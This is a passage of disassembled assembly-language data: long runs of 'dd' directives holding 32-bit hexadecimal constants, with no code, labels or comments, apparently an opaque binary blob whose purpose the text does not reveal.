		dd 3E1E0F37h, 3919B080h, 2FA2Ah, 0B3AF0A85h, 4E755CFBh
		dd 36A93700h, 2D6C71C1h, 8BD400F7h, 3C2E65A6h, 0E0003AFEh
		dd 6DC36856h, 0FABBAAE8h, 8D6600CEh, 87906BC5h,	5D788373h
		dd 0A5464C00h, 0FED06115h, 0E27D5Eh, 0A09BC326h, 0DC55BFBEh
		dd 4C3AF200h, 3CC8F697h, 0C820046h, 5EBA3E4Bh, 8D074AA6h
		dd 48F54C90h, 7C86D800h, 0E4420030h, 0B3FB73B2h, 0C8398E1Dh
		dd 0BD6000DAh, 0D789D1Bh, 85C500F5h, 0FB2E6F05h, 4D00D5F0h
		dd 0E703F1E5h, 8BEBB9h,	0F7CDD0E0h, 47D2BBEAh, 2C0C7407h
		dd 3F40A49Bh, 12B57B48h, 0F1B7E3Eh, 0D7A0613Bh,	23BBA3E6h
		dd 2B48BE06h, 3182C49h,	0BFECC491h, 54D14436h, 0ADDEE095h
		dd 0CD0C3378h, 280E0DF3h, 3F4A180Ch, 8923619Fh,	40915602h
		dd 0C036EF09h, 2641221h, 2F59DC9Bh, 4400FBBh, 3E00A34Fh
		dd 43B6A448h, 0A1011B37h, 0D0F7CB14h, 6BF6AC3h,	0CAB40BD4h
		dd 0C51F78ACh, 925A1B64h, 661C18D1h, 8819C69Ah,	4C50C0D4h
		dd 0F86444ACh, 48205C98h, 97EDF5CBh, 851A87C0h,	115C1521h
		dd 0C5D900AEh, 0ECA3D763h, 812D01EDh, 35649D47h, 0C208E3Dh
		dd 0CE250CFFh, 391B00B9h, 0F731495Ah, 0B30C4587h, 0B1A26814h
		dd 960A009Dh, 0FC42C832h, 0E63A57C5h, 0D5091FDCh, 685145D8h
		dd 5131CF4Dh, 0DFBDD247h, 5BC21B80h, 5A070B31h,	0F754A5F5h
		dd 7F0FED01h, 1527891h,	0D2E6808Fh, 6360F7ABh, 0F3A0A008h
		dd 0CC91882Fh, 987FA728h, 20261067h, 805B8D60h,	0FD9A0063h
		dd 876C7841h, 0EF0C4C82h, 7959C41Bh, 0EC2B1437h, 88222417h
		dd 8761A500h, 542DBF68h, 0C1B76067h, 0E2B0DF80h, 33A5B30Fh
		dd 0E85A073h, 2A4FB64Eh, 0B03F17h, 66745E6Fh, 19AACE92h
		dd 5C23D300h, 0B4549C67h, 25A40F7Fh, 0C30495D2h, 0CB108086h
		dd 0EA28395Ah, 0C1338C47h, 0E94B71BDh, 0F84025A1h, 7F4E6F45h
		dd 62BF0286h, 8729263Dh, 0F87876C1h, 941895AAh,	6E517A2Bh
		dd 5FEC74h, 11E0ACC5h, 3EC63006h, 61F3FF00h, 818DC7BFh
		dd 3D567D59h, 919B450Ah, 51E0682Bh, 4F0F7C26h, 6027DDD8h
		dd 4B8EA31Bh, 78B10088h, 2D49CA11h, 0A40EAC61h,	0C0BE0939h
		dd 70BFAA98h, 0A0CF64D3h, 0A1AC90A7h, 47E9AC89h, 970F71B8h
		dd 0F9482010h, 99A7AB07h, 0FFB1B254h, 2C8EB25h,	7917B9Ah
		dd 102BBCDDh, 35812B83h, 0E48A9897h, 14E8A976h,	1D250203h
		dd 907A8D35h, 0C09B0D7Dh
		dd 0E81C2418h, 0E900B5CBh, 3D61011h, 60A9D789h,	9FBA399Eh
		dd 24031B66h, 1CF62FA6h, 770830CEh, 66D7DF21h, 0EB7C8C00h
		dd 211C23F3h, 84A3103Dh, 0BA9A0097h, 2F70BC4Fh,	71D7E4D5h
		dd 4CE3E68Bh, 33009CB7h, 0FC8576EFh, 3E00258Ah,	1FDC4C5h
		dd 0DF26F2B8h, 1C340040h, 669CA45Eh, 0A58EC50Ch, 0C00D0836h
		dd 5E13D221h, 40F9FFCh,	1FB1AB6h, 0A936A45Dh, 0F735220h
		dd 1470B1F9h, 99878186h, 0C2CF2A00h, 0D5D811B6h, 0D00933A5h
		dd 21009C08h, 0EAC2D6C7h, 140B48FDh, 0AC102DF0h, 49D9304h
		dd 468B0F9Ah, 1191DFDh,	4A1EF9BBh, 53A4AD47h, 95885A90h
		dd 0E307FBD8h, 9345B332h, 9226EF50h, 0EC0129FEh, 5E180174h
		dd 18069CA0h, 0FE68843h, 47255E00h, 993141C2h, 0FCC451B1h
		dd 2920E407h, 981607AAh, 9E813054h, 3AA3C9C9h, 58D74400h
		dd 19BB4B5Ah, 29D600DEh, 0B48EFA83h, 7107EF6Bh,	1768767Fh
		dd 0E400DA55h, 0A2FC6201h, 81646C0Eh, 48CEFB0h,	9C9F5E1Bh
		dd 2041620Eh, 795E12E7h, 0F0A09460h, 0B01ED608h, 9928053Ch
		dd 40038BDAh, 47B1E2A4h, 0E50D0CDBh, 985102Eh, 208099E5h
		dd 4E47E942h, 3D3E9549h, 0A5C08E36h, 6384CE93h,	469CE591h
		dd 0C8B02C28h, 9D717497h, 5227C002h, 479C459Eh,	60664418h
		dd 7B196h, 774A5986h, 0A5939019h, 100B0884h, 870C2B79h
		dd 8CDBB06Ch, 0DA47B204h, 0D862DD0Ch, 7AC03724h, 75043942h
		dd 6BB202F4h, 0BEE4E131h, 54820442h, 7011625h, 0E820F965h
		dd 60AA4301h, 762411B2h, 91E89130h, 0DDD90074h,	3D2D9366h
		dd 76CAB00Eh, 0E6520109h, 18FF9EC7h, 90F1A06Fh,	0CD021546h
		dd 0E811B4C2h, 0C9105F31h, 0B700C2D4h, 77340F94h, 9522FD2h
		dd 8BA11DC4h, 80A94C80h, 721DD553h, 0BB5ACBF9h,	0DCEC1138h
		dd 4708BF18h, 0C4D50CD9h, 0B74440DDh, 2E92EC47h, 35524CBh
		dd 0CDE98526h, 81356804h, 0CC35F7Ch, 513ED852h,	103466B0h
		dd 952E0FCh, 0C2D9046Ch, 608411B0h, 0E0CDFC2Ch,	0FBD02C3h
		dd 0EF27E73Fh, 2061F941h, 0AD4085D0h, 0C499AAh,	0ACE0F7B3h
		dd 0CC00C3A2h, 0FBA5A3DCh, 3E7CDB16h, 6376E783h, 8B7DF944h
		dd 4076D100h, 20F2C249h, 237800C1h, 80CDF4D6h, 2C00EF10h
		dd 0A915989Eh, 0F4F690CFh, 7D500BAh, 0D4F0596h,	0F8C3C5F1h
		dd 0B85CBF3Fh, 1C9A3525h, 0C0836B5Ah, 5768DD8Eh, 0AA30E115h
		dd 20814094h, 58396633h, 8414282Fh, 26A4778Dh, 0EA11D04Ah
		dd 0A25E1A80h, 448C369Ch, 1100D418h, 53CE5B5Eh,	98F1F944h
		dd 278E051Ah, 19820B1h,	8B4726BCh, 0F1BA8Ah, 0A7E9A4C9h
		dd 6151C07h, 7D6AB2EEh,	31E621D3h, 21B4C800h, 59F9A4B9h
		dd 921D0070h, 0D9FF765Dh, 8F01E496h, 0A3B20FD7h, 0E89B8504h
		dd 0A9D29024h, 0CC0067C2h, 43772CBBh, 0F71CEB09h, 2FA180D3h
		dd 0C028A91Dh, 0AD3B5299h, 55005CDDh, 0FC1C19E5h, 1ECE77Eh
		dd 18F2A4FFh, 0F0DCF47Dh, 0EA04934Ah, 0A2AA553h, 0A3B888h
		dd 818583BBh, 0FEC64D6Ah, 0ACB9100Ch, 3812809Eh, 0FD801308h
		dd 0BD4BF31Ch, 9D3F433Eh, 0F8312049h, 192F640Bh, 189ED69Fh
		dd 24EF1E12h, 8060C808h, 0FE875609h, 0AD301C78h, 741D8172h
		dd 0C3CE1D63h, 9904C0B5h, 19EF9410h, 0B00C6003h, 0C09DF187h
		dd 5C7DC352h, 2B00E506h, 54BF675Fh, 40266F41h, 5D006418h
		dd 0C6BDAFA8h, 7826012Bh, 0D220CAE8h, 0F725EC36h, 96166907h
		dd 1860D8A7h, 1D9A58h, 0A143DEA2h, 17E7DD22h, 4001197Ch
		dd 4ED3D69Dh, 3980BDAEh, 0F5DA2918h, 7C1D0A95h,	78C0B86Dh
		dd 0DD7EA6A8h, 1820409Fh, 0EFCB9601h, 0BCABEE1Ch, 19804D71h
		dd 0D442329h, 0C8C3E268h, 880A1987h, 725ACDh, 9C329FF6h
		dd 2EA095D3h, 0E888C901h, 41DE964Ch, 0C068B987h, 0E9D600FCh
		dd 8600D99Ah, 7115D0F6h, 396052h, 4743515Eh, 730ABDFBh
		dd 9AE1E200h, 0D2581DCBh, 0BF8067Ah, 503AB696h,	7FDAC300h
		dd 0C50529DFh, 90750255h, 623E2E9Eh, 43B8A8A0h,	2400D1F7h
		dd 841C875Eh, 61290DC6h, 0D92820C5h, 3F9850D5h,	0CB63BA9Fh
		dd 3C3E58h, 0C5302941h,	4D21D4B7h, 0EAE6540Fh, 675EC71Ah
		dd 8C1F1765h, 45FB3B00h, 5EE9BB8h, 380FD157h, 2571C009h
		dd 4D3BC729h, 40B38023h, 20E60AB6h, 13043E6Fh, 5C29587h
		dd 3CE210EEh, 150097C6h, 0EDE32E0Dh, 610764Dh, 0E8323857h
		dd 0E560085Eh, 4E65C321h, 0E430031h, 0B505FCF1h, 6003569h
		dd 6ACCD7D6h, 650D17h, 44C46090h, 2E0E7CEFh, 3CAA0700h
		dd 94DBCE83h, 0A971C133h, 8088684Ch, 2223A690h,	0F842Ch
		dd 34F9A72Fh, 0A0A844B3h, 0E91520C0h, 0A7F1D336h, 2A138820h
		dd 0EC83C1CFh, 0D33364h, 0A2220E30h, 0BD0FA8D1h, 0D7B1180Eh
		dd 21368CBEh, 0A2250067h, 0BAEC88B2h, 44184B54h, 36079ACh
		dd 6B7E000Dh, 832E0CE1h, 0F30034B5h, 11D8A420h,	0CCD96297h
		dd 5521AD08h, 0D2F34C00h, 0B7B49EB8h, 1CC31451h, 5402887Dh
		dd 779DDE8h, 55FD0500h,	356A0082h, 67B4A6B5h, 5CA4F283h
		dd 37A22002h, 1BBEDFA9h, 0D37140ACh, 10CE8A1h, 76792C5Fh
		dd 80A00A7Bh, 0E3C31588h, 163C65h, 0E71453FAh, 0BFAD2807h
		dd 0CAD2E900h, 0F6298B8Ch, 92320CA4h, 6795861h,	0C6B89D14h
		dd 282B87F0h, 0D83F1C58h, 4E62E9ACh, 0F12FFB1Fh, 90AFC98Ah
		dd 3428CE82h, 97084130h, 2915AAE0h, 596C6873h, 0B7181Ah
		dd 71EC191h, 9FEEE23Ch,	4067211Fh, 9B06FCEAh, 0F08BD8Ch
		dd 542B2160h, 3AA21980h, 86B727A9h, 1D701D44h, 0E4DA1D4h
		dd 9040473Ch, 56208CD7h, 0ECFB2300h, 0CFA2CE50h, 505C5CA8h
		dd 6719C54h, 0D828C9FEh, 9C0AE03Fh, 886193EEh, 2DEB1580h
		dd 0DD190AD6h, 465BC011h, 775A07FAh, 71EFE10Eh,	21748CAAh
		dd 468200CEh, 41DD6DDh,	0EF1FA261h, 774E9B09h, 3F5680B5h
		dd 0C01C4A4Ch, 0B0EA1930h, 0A48A141h, 819A3C24h, 98248130h
		dd 0D89E864Fh, 91B05884h, 1301B9C4h, 0F9706B78h, 0ADC8C305h
		dd 0F8B8F432h, 313B185Fh, 9A15685Bh, 0B026233Ah, 6409491Eh
		dd 0F82E60E4h, 0FBADB828h, 90CCDF7Ah, 67D261B5h, 8F0F896Ah
		dd 0F23E4039h, 1B0E4B00h, 0E22024C4h, 92C9067Ch, 30938E0h
		dd 80FBF6DEh, 6B746FE9h, 0AC51C0AAh, 0E91DA808h, 0EB8B4F0Ah
		dd 0A960F09Fh, 0C02F145Ch, 0CA6B6290h, 0E4F9590Eh, 0D248878h
		dd 35C3D083h, 60A4E8F3h, 0B1448613h, 0F33D0020h, 0E8EFFD2Ch
		dd 8E547988h, 2F40D8E4h, 1FE1E06h, 847CC059h, 0DBB5A21Bh
		dd 4000849Ah, 0CFFF0654h, 0FA33D562h, 0B7D1244Fh, 302108A0h
		dd 0BEF1FD84h, 0AADDB011h, 0EE58A090h, 24028664h, 0BFA663A2h
		dd 101B19BEh, 98A22775h, 0E9383DD0h, 9772E401h,	0CC3A3F6Ch
		dd 810F55F3h, 0ECB58C7Dh, 606BE8E2h, 3F92F1B2h,	3A00D426h
		dd 0FBA9F5F3h, 253EBC5h, 79768A12h, 4848870Ah, 370060D8h
		dd 0CBF3278Fh, 0F64835DAh, 4B721FDBh, 0C0269464h, 0FC53F83Eh
		dd 1F264320h, 0DC42CC86h, 2428003Bh, 919DE5h, 65A01B14h
		dd 3C983DA0h, 5B4D08F8h, 0C670EF10h, 594D07F0h,	8996C536h
		dd 0C3D61C04h, 348C6594h, 0A934D302h, 45A0B1D7h, 0A1D66E10h
		dd 766B9E1Dh, 10C749h, 5DB4F4E0h, 0C8C098FFh, 0E1CF3998h
		dd 8F104F4Dh, 12DE19F2h, 6598C08Ah, 0C7101F9Bh,	0A00BC97Ah
		dd 19804811h, 0A41EBD00h, 48124848h, 5B9EA7C8h,	1930F042h
		dd 483860B9h, 0B124803Fh, 0DB160202h, 0ACAEB2A1h, 4362A8ECh
		dd 4DF302C7h, 0B1E71058h
		dd 0C110E4A0h, 84004D2Bh, 377C4E71h, 2B4727Eh, 0C2A12A6h
		dd 0D080E4F9h, 15623348h, 9E93C609h, 91689F20h,	0F83A8A8Bh
		dd 0A0814E1Bh, 0F68866h, 7A51C29Ah, 28C467C6h, 1C990301h
		dd 389E9263h, 1C43854h,	464F3840h, 8CBA07F6h, 0F64A7544h
		dd 54380746h, 30F2DD9Eh, 0E3D1173Ah, 1C2C5898h,	6C08583Eh
		dd 0CC031573h, 5F13D1B8h, 88084AEAh, 0D0C8587h,	5AE88898h
		dd 64352129h, 0C9080024h, 0EBD586BCh, 0F20F09Ch, 2DDC2046h
		dd 0D84D080Ch, 1E9B29B7h, 1D82CAD5h, 0A076D5A1h, 0D9A24C53h
		dd 1BAE8033h, 439203D4h, 0B0B50754h, 63309118h,	18E28328h
		dd 0C8E3750Bh, 38A86896h, 0F86C75Fh, 10794DFAh,	80E58871h
		dd 724DF2A8h, 3C29A616h, 6707FCC6h, 0BDB084ABh,	31A0Bh
		dd 978C4106h, 0C93AF583h, 7629E261h, 0A1407FA6h, 92319517h
		dd 0C0C676D8h, 0A3D45721h, 0A90CD32Bh, 0B0DC8923h, 5AF10058h
		dd 0F26B480Ch, 31034AECh, 0D44494FCh, 10C1ACFBh, 1E0C64F0h
		dd 0A935A204h, 3732B72Fh, 0A1D17320h, 508A0091h, 85F7EEEFh
		dd 0FC1EF42Fh, 358054DAh, 71CBA014h, 13A8C132h,	0DCD9FD1Ch
		dd 10BA204Ch, 0F0E14800h, 273FE069h, 986A0053h,	0EBEACCE7h
		dd 0C8181DE3h, 0F4406FEFh, 5E31304Ch, 98E4AE58h, 1095C900h
		dd 0D49275BCh, 70A86FBEh, 4CB2583Bh, 0CAF6440h,	28242A80h
		dd 0C847FE9h, 47193C4Dh, 0D48CD28h, 20C58240h, 826C6081h
		dd 0EF8C017Ch, 2DEA2278h, 2B0261Ch, 7F0465Dh, 1088316Ah
		dd 64684DCh, 1FE20AA0h,	254640DBh, 0F5465C02h, 0A0316207h
		dd 4698CF13h, 4178AD0Eh, 1CBB671Ch, 0B5083541h,	202DB378h
		dd 0A142C0F8h, 0A9299B11h, 4B7A2008h, 0CA2075F5h, 0C036C828h
		dd 0D8C869A4h, 0E74020E3h, 0A22D028Ch, 0BD07A936h, 74474851h
		dd 0E8E1A2A3h, 0F1B717h, 4C595596h, 0D03C3982h,	2A90F402h
		dd 8595B4ACh, 0BC814B8Ch, 41833406h, 0A2086F21h, 65C2D000h
		dd 0FD9F1B32h, 0ED307B5Ch, 0CF4BC840h, 919B035Dh, 649CBB36h
		dd 0EA9A59F0h, 56BD2F00h, 3FBA3A5Eh, 3BC201DBh,	0D8CF2918h
		dd 0F40980F6h, 0A5E4609Fh, 67EC1FCBh, 92654FFBh, 0FD64DD40h
		dd 0DA00F05Dh, 8258B181h, 2B22D8Bh, 1543131Ah, 9680A8C3h
		dd 4A42B69Dh, 8C303900h, 0F94ED4E6h, 651924CBh,	82C00034h
		dd 0F464B592h, 0E9021404h, 5DC0FC6Dh, 0E89E01EBh, 153D0078h
		dd 0D4E82BE1h, 8EE2C575h, 2DAC4E00h, 7247D33h, 3F0E8A0h
		dd 0F820A637h, 3BE9FDB8h, 0D62880BAh, 0FB8D5FF3h, 0F6D10016h
		dd 0A2C75CA0h, 470095CDh, 0EF61B154h, 93127Dh, 2C1599E3h
		dd 0A9140F1Eh, 2B85B600h, 3A4D2A61h, 577B9Dh, 0D903664Ch
		dd 5171DA63h, 0F8613724h, 43CDF200h, 4FF1211h, 5B46BB78h
		dd 0C3D09095h, 271FB162h, 0A6C09E1Dh, 925C4E87h, 3EF03D28h
		dd 7CD47484h, 0D780D79Fh, 0C090C529h, 50453B07h, 82004276h
		dd 72042B81h, 3F11C219h, 3F9E8D8Ch, 2EA34062h, 0ADA005D0h
		dd 8E89671Fh, 47F987FDh, 253049C8h, 399EB8B5h, 2D805E65h
		dd 9F68E8E9h, 0C003B659h, 0EF91A52Bh, 64CC88B2h, 0DE770006h
		dd 0D4CDE8F2h, 22E44B0Bh, 8F2A0103h, 2C9EF738h,	1DBCEAC0h
		dd 0F46E0071h, 8D8A5E30h, 31F02600h, 7AF65CF5h,	259E01F8h
		dd 5715AB0Fh, 6690E45Eh, 0A34FB70Eh, 556EE0F1h,	0EC9786h
		dd 2CF0C11Dh, 2D3BBDB2h, 71AF4501h, 9E3A1190h, 0E0ED0420h
		dd 0F2EC0003h, 0DAC9470Fh, 31003037h, 181E7053h, 1214A48Ch
		dd 2BD290h, 0CF17A32Ah,	0BF0065E6h, 3F636198h, 2646B7E2h
		dd 80ACD27Bh, 24F4A67h,	0EA58CB80h, 80F83D20h, 465700Fh
		dd 333C11h, 1F1776BAh, 0A6A563C6h, 0BDEA7D01h, 40997B89h
		dd 0A2460h, 0F0195D98h,	1AD871C3h, 0BDA86060h, 1BA1DB6h
		dd 0DE94FFB4h, 2033F075h, 77012B7Ch, 0F774AB3Eh, 0F2E4C9A0h
		dd 0FECC3D83h, 0D4EC8E80h, 0E25F19D3h, 28ED3100h, 3768A354h
		dd 0EE40F82Eh, 7FF30516h, 8184ECB7h, 0EC696A30h, 6C7EB82Ch
		dd 0F8004AF2h, 0BEC34664h, 2F2EE6h, 0E43AF67h, 8703D0ACh
		dd 0B410B87Fh, 9A000D91h, 23255363h, 5200EC31h,	0D6572C12h
		dd 1E0CACBh, 0C8468C99h, 0B97974F2h, 960A83C0h,	8838AA26h
		dd 487BA4h, 0E7EBCE93h,	99CCE29Ch, 0F1216204h, 589071D4h
		dd 0F6E7EFEh, 6BECF7F0h, 0D993F11h, 111C8650h, 496C4Ch
		dd 27D521D2h, 577DFA9Ah, 52420E01h, 6FB87F9h, 59C1EBD0h
		dd 0D6003CA2h, 0D2AB3DF2h, 6B044793h, 0F6DC9B17h, 7672CC80h
		dd 0D6E500ADh, 0CD294BF7h, 0DF00C87Fh, 1F03AF52h, 0D578A4h
		dd 1530B658h, 63B0939Dh, 91C4E607h, 80FFCF90h, 99C1084Fh
		dd 6F72FEh, 7CEEE739h, 2B1D3534h, 220DF600h, 21760BDAh
		dd 894F07E5h, 0B0A0F27Dh, 0CBCA7AE7h, 3146501Fh, 97830B40h
		dd 0A4D02Bh, 41D52926h,	895CBF10h, 0C0790A0Ch, 317E93h
		dd 0C2E0BB97h, 0BD4B6BF7h, 74BC49h, 661915A3h, 17707D0h
		dd 0D26F488Dh, 0C01A13F5h, 707D7984h, 74B05A78h, 0DDF09783h
		dd 902B71Dh, 7421E15Dh,	745C70E7h, 0C53D0054h, 0CAC3FA9h
		dd 5EEAE664h, 864FD800h, 511CD08Bh, 61CC2E18h, 0B4BB03F9h
		dd 6C883139h, 0F3DBA68h, 0FA3E80DDh, 0D26210Ah,	0A1A60015h
		dd 2A57AA82h, 5876F587h, 55C05E00h, 0ADC91AA9h,	18E56004h
		dd 366CEE84h, 51839804h, 48906678h, 54AF2Ah, 24DCFB0Ch
		dd 0CF7656ECh, 44EAC801h, 6DB0F634h, 62D4420h, 4F1758DCh
		dd 15011052h, 3B5B0D47h, 1CE0A120h, 7FA70C3h, 3DD4AE5Eh
		dd 80A7846Ah, 0B2D01D34h, 24573C03h, 0EA5AFA1h,	4E5BAD40h
		dd 1C00CA49h, 45E5E96Fh, 0C42CFDh, 1466E14Dh, 0D71A89h
		dd 0FBCC999Bh, 0B8102C6Ch, 0CEC7D4Dh, 0A1DA93A8h, 0B5E701D9h
		dd 8BC31DD2h, 0F5208037h, 8ABCD37Ch, 0C7F60069h, 1AE42A5h
		dd 77003508h, 468DF409h, 6F708F1Bh, 7AE0107Eh, 8C1E9221h
		dd 1CD2D403h, 805D3187h, 3B58BEh, 0BD89562Bh, 8DB6CA32h
		dd 109F6B07h, 4F507269h, 333CF5Fh, 25BB1C87h, 74B8C535h
		dd 0F008502h, 0BA55E040h, 0E720B53h, 97BBFFEBh,	593D4560h
		dd 0B100AB48h, 1EDF68B2h, 3D391E4h, 645FB570h, 0DD238Fh
		dd 898AE5D4h, 76041A2Dh, 0CB081738h, 0FE682980h, 51340056h
		dd 0ED401BB9h, 14005F35h, 1DA8BA5Ch, 5762DFh, 697D7C2Bh
		dd 0DACA8752h, 71828909h, 200B8012h, 3A8E9B9h, 257AA117h
		dd 9DD90B94h, 379430D1h, 1C5021B0h, 0E00C4F4h, 0DDD5E61Bh
		dd 9937D0Fh, 0DB2BCD2Ch, 82A20C20h, 750F94A3h, 2783C516h
		dd 5C175025h, 55D50E00h, 98741CD6h, 2D0C8097h, 0DA29BD93h
		dd 0E3440900h, 6B6152B3h, 2A1C0068h, 5787EADBh,	890FED39h
		dd 0C02B5D04h, 4E990AC8h, 5640037Ah, 0F0C29416h, 725760B0h
		dd 48238h, 0A2207881h, 0D0D15Ch, 0B6119E51h, 0AB07FD66h
		dd 893E281Ch, 0A0A42B43h, 5F23907Fh, 5D530AE5h,	9C346Fh
		dd 31048BCFh, 0B300746Eh, 28B47C48h, 3EB683E1h,	0B98033DEh
		dd 2D92C151h, 0C0B401D8h, 4ABC3Fh, 3CFCD15Fh, 8C4C8h, 6210D6B1h
		dd 0BE934EAEh, 0A68D9F01h, 0D3968ECEh, 6BC30h, 0C166CB9Bh
		dd 0BD3094F5h, 1AAD7100h, 7EC86D2h, 0DC0113C7h,	0F0C04218h
		dd 60E8CCDEh, 38074FCAh, 3917105Ah, 0F24287FEh,	600101Ah
		dd 0EFA71C08h, 0A6611D81h, 0A93F00C7h, 324F9B35h, 0B30D50C0h
		dd 0A1E3Dh, 7F9AA22h, 3CF07742h, 91319603h, 887AAF25h
		dd 3CC45686h
		dd 42C87CE9h, 10C5290Bh, 0F9AD0C40h, 0E74B4802h, 81F1F081h
		dd 3322EB40h, 71293434h, 899812h, 3B81BC2Fh, 61E57B3h
		dd 7E778C0h, 0A9DB01D4h, 470CF374h, 343080h, 0B8833B40h
		dd 0FE79D026h, 0BFA3053Ah, 3F0B00DAh, 83F50E17h, 0B8580742h
		dd 61BF26ABh, 0CB79FB08h, 4A22B3D0h, 0AA89A600h, 0B8F34325h
		dd 6930067h, 5FF2554Dh,	1C7F28DDh, 26E3F100h, 5C24EE1Eh
		dd 2F0338FEh, 438E9700h, 9549AFF8h, 3776D48h, 459363FAh
		dd 0C60BF47h, 1F73441h,	0E9AFF35Ah, 0F09214B2h,	0B000D3B7h
		dd 44C29D1Eh, 77E7866h,	4CF4644Dh, 355180DCh, 0CA1C29B5h
		dd 2D9714A8h, 308590D2h, 0A4FCF063h, 0B922D046h, 0F34B5E00h
		dd 980718DDh, 0D3BF00A1h, 0B126F796h, 0BC900BE6h, 17166AECh
		dd 0C845889h, 0A0E25CB2h, 507E30h, 4F88232Ch, 0CA38D1B1h
		dd 1F60B406h, 0B4283569h, 0D9467648h, 1437DA00h, 3042217Bh
		dd 864BA218h, 0BCC9221h, 584C4AB6h, 9F148460h, 3BAE3920h
		dd 1F662F8h, 0B4278261h, 8817351Fh, 600AD3E0h, 7F34676h
		dd 91AA7221h, 7DCD0079h, 0B0F01E46h, 0C0D11FFEh, 0FF140267h
		dd 1072D91Ch, 0B66C0A00h, 0EF6F88E5h, 0BBC000BAh, 7B66F573h
		dd 46006425h, 0C2A9C1ACh, 1F109CCCh, 7213F45h, 0C0BEB5EBh
		dd 0B3854FEh, 86581400h, 6B92B872h, 919D01FCh, 0C1997F8Ah
		dd 54B2D089h, 0AA5620C3h, 19E7B86Ah, 0C729005Fh, 18A9BF5Ch
		dd 720085BCh, 54C3D4E9h, 32D31F8h, 0AD121E38h, 60011873h
		dd 897033F7h, 5DCCE20Bh, 2D1602D1h, 80A348ADh, 50921800h
		dd 8A66001Ah, 11BFA47Dh, 190CD5ADh, 497FBE9Dh, 15F30092h
		dd 0E18EF527h, 563AF2A9h, 21CF30E0h, 5C15F0EBh,	0F78A4BCh
		dd 22E250FEh, 7C325383h, 0DD0010F6h, 19855745h,	5CEB4779h
		dd 6500B58Dh, 9A777639h, 6B0B26DEh, 1AE856h, 0A6F35F55h
		dd 443000D3h, 0F4D9671Eh, 0CFEC950Bh, 0A442410Fh, 0C0AC8FB1h
		dd 0C3E98436h, 4E690055h, 575BBD0Ah, 6405DE31h,	198E18EAh
		dd 5A9E6B80h, 0B1460082h, 29356887h, 11015E97h,	0E6D82AE8h
		dd 63201428h, 0D0100BD1h, 0A601293Eh, 827A1E47h, 0A3428931h
		dd 8D4C4051h, 0F57900F0h, 0CCC35EE1h, 7E001AC1h, 85445811h
		dd 76834CB0h, 607B1FC6h, 0F88DC097h, 32C74DECh,	0EF5DD10Ah
		dd 49781443h, 10740C4Bh, 5599AEBCh, 25819F07h, 0DAC10860h
		dd 0B18044C5h, 0D97E4B30h, 0CAF8CE2Bh, 0C1D2E28h, 2C181E11h
		dd 5A88E221h, 44064545h, 23CDA624h, 4819061Ah, 304463B3h
		dd 4C20E47Eh, 0F7290ACBh, 943F2Ah, 9EC88E56h, 0B20FB384h
		dd 8039E3CCh, 49B79581h, 0CAD918D7h, 8EA681FDh,	56B05054h
		dd 0C944E401h, 11CDAFE1h, 0F01DB470h, 63FF0B1h,	4CDBE24Bh
		dd 31057164h, 654ACF16h, 419080Fh, 49406D47h, 63034B1Ch
		dd 0A0025828h, 42014A18h, 2093C2C9h, 91370DC5h,	3EC08046h
		dd 1C7228h, 56837930h, 0D86203FAh, 9B296C06h, 3294880h
		dd 9F8ED215h, 0DCB8A4E1h, 8DF8CB9h, 0DA702130h,	915E068Eh
		dd 90670121h, 0D2D1180Bh, 9A53848Bh, 0DC64F680h, 0B1CA61C4h
		dd 0DC1E0681h, 5C05D8F5h, 2A6E83BEh, 3ED1CC5Dh,	18DBC013h
		dd 61641898h, 0EB444C2Eh, 924B0C03h, 9181847h, 3F3B8854h
		dd 0DEF5CF15h, 6C007CB0h, 0BA227208h, 3A64C9ECh, 6849ED8Bh
		dd 81971400h, 0F3592F08h, 0CFE7490Fh, 2979F8D3h, 60EDF237h
		dd 0BA4BA00Dh, 0E6036C2Bh, 0FE878FC9h, 9A1907CCh, 0C0E70DC3h
		dd 3FF1EE97h, 1DA00382h, 1393E8h, 6468AF10h, 0EBB9944Dh
		dd 2F9B3B03h, 0A7A1E0E4h, 93046790h, 0B54914D8h, 0C1FE0492h
		dd 20712FF8h, 14F76840h, 0A83080BAh, 0D4EEF300h, 0FA97536Eh
		dd 82E81E67h, 0F7E3036Dh, 0AAE9D5EAh, 0EF2F2069h, 425728C8h
		dd 0DE276F59h, 0EF518CD8h, 22848B51h, 92505E41h, 9B64DB14h
		dd 11232F51h, 42E6489Ch, 4324DB07h, 26520E40h, 9D178Bh
		dd 39A7C7E0h, 80730075h, 0D611609Ch, 38008287h,	1B8C81D8h
		dd 3B3AC3E5h, 48007AEDh, 0FD91D394h, 0F200C635h, 0D1E27ECAh
		dd 38BEACB7h, 7C3E1E82h, 645BA880h, 26A68FBAh, 10A96930h
		dd 3265CCh, 0D39E97A2h,	0B4426AA8h, 0DCEC7A7Ah,	0CE9C2600h
		dd 460F0421h, 619B0016h, 30C0AD37h, 0E20E0360h,	0E0324023h
		dd 63F2F14Ch, 1F5800B6h, 927D680Ah, 7B036BADh, 862FBA9Bh
		dd 0EDC588B8h, 11870018h, 4FC08525h, 8D1140D2h,	70005D04h
		dd 0F7FE1CC5h, 0A900036Ah, 0EB511915h, 189DCC08h, 1918B5C7h
		dd 280385D4h, 0E1DD4942h, 2563F078h, 740B007Ah,	0F1F6BBE2h
		dd 4601805Eh, 155D84Dh,	1820B369h, 5FEE00A3h, 15B22A38h
		dd 400DDE5h, 9334CC62h,	1E898894h, 8065D213h, 607C81A2h
		dd 1F036706h, 11B95B41h, 0B680FC4Eh, 0FC5005h, 0B5195DA3h
		dd 2501B1B3h, 0A5AFC400h, 2D2C71EAh, 0E661EF8h,	0F1AC8016h
		dd 0BE28DC8Ah, 5338AA00h, 88D6EB2Fh, 8F9017FEh,	0CE010995h
		dd 49A11A00h, 96249301h, 0C9006C48h, 102C148Dh,	39E0ABh
		dd 5E4F3502h, 413FF3D1h, 0E04D050Fh, 9397A076h,	0E4C285AFh
		dd 0C0AC1D4Ah, 30678011h, 459E79ADh, 1B511F00h,	61A4DFB2h
		dd 12DB016Ah, 25F06CD3h, 4976C8C6h, 790CBF00h, 834B9A2Fh
		dd 514100FDh, 1A45634Fh, 0F00C1CEh, 2C9F0A5Ah, 920C2Ah
		dd 14ED18FEh, 0EC9A8053h, 29B5C300h, 930902FCh,	0C9B70047h
		dd 2DD6F74Fh, 85071A55h, 6E501830h, 3DA75DF0h, 923700A8h
		dd 5D5564Dh, 2E0EB7Ah, 0AD443900h, 0A5A16CE7h, 9AE500C1h
		dd 5164F79Bh, 4900AEE4h, 0D61D0569h, 2405484h, 0F1D558DBh
		dd 9C8F5A83h, 56A5A261h, 1ACDD8E7h, 0C6BC00Eh, 0AA674070h
